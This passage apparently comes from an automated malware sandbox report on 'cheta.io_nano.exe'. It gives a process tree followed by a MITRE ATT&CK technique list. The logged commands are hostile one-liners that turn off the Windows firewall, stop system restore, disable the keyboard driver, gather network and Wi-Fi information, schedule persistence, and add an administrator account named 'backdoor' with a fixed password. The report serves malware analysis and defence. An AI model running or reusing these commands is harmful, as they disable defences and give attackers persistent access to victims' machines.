  - Suspicious use of WriteProcessMemory
  PID:3388
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3452
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1988
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:2528
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3492
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    - Suspicious use of AdjustPrivilegeToken
    PID:2420
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\cheta.io_nano.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3472
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:4512
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:3832
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4316
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:2496
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:3424
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4640
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:4084
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:3712
- C:\Windows\system32\svchost.exe
  "C:\Windows\system32\svchost.exe"
  2⤵
  PID:4800
- C:\Windows\SYSTEM32\netsh.exe
  "netsh" wlan show profiles
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:256
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1644
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" user backdoor P@ssw0rd123 /add
  2⤵
  - Creates a new local user account
  - Suspicious use of WriteProcessMemory
  PID:4672
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user backdoor P@ssw0rd123 /add
    3⤵
    - Creates a new local user account
    PID:3336
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" localgroup administrators backdoor /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2144
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup administrators backdoor /add
    3⤵
    PID:5020

C:\Users\Admin\AppData\Local\Temp\cheta.io_nano.exe
C:\Users\Admin\AppData\Local\Temp\cheta.io_nano.exe
1⤵
PID:2512

C:\Users\Admin\AppData\Local\Temp\cheta.io_nano.exe
C:\Users\Admin\AppData\Local\Temp\cheta.io_nano.exe
1⤵
PID:4872

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create Account

T1136

Local Account

T1136.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Permission Groups Discovery

T1069

Local Groups

T1069.001

Process Discovery

T1057

Query Registry

T1012

System Information Discovery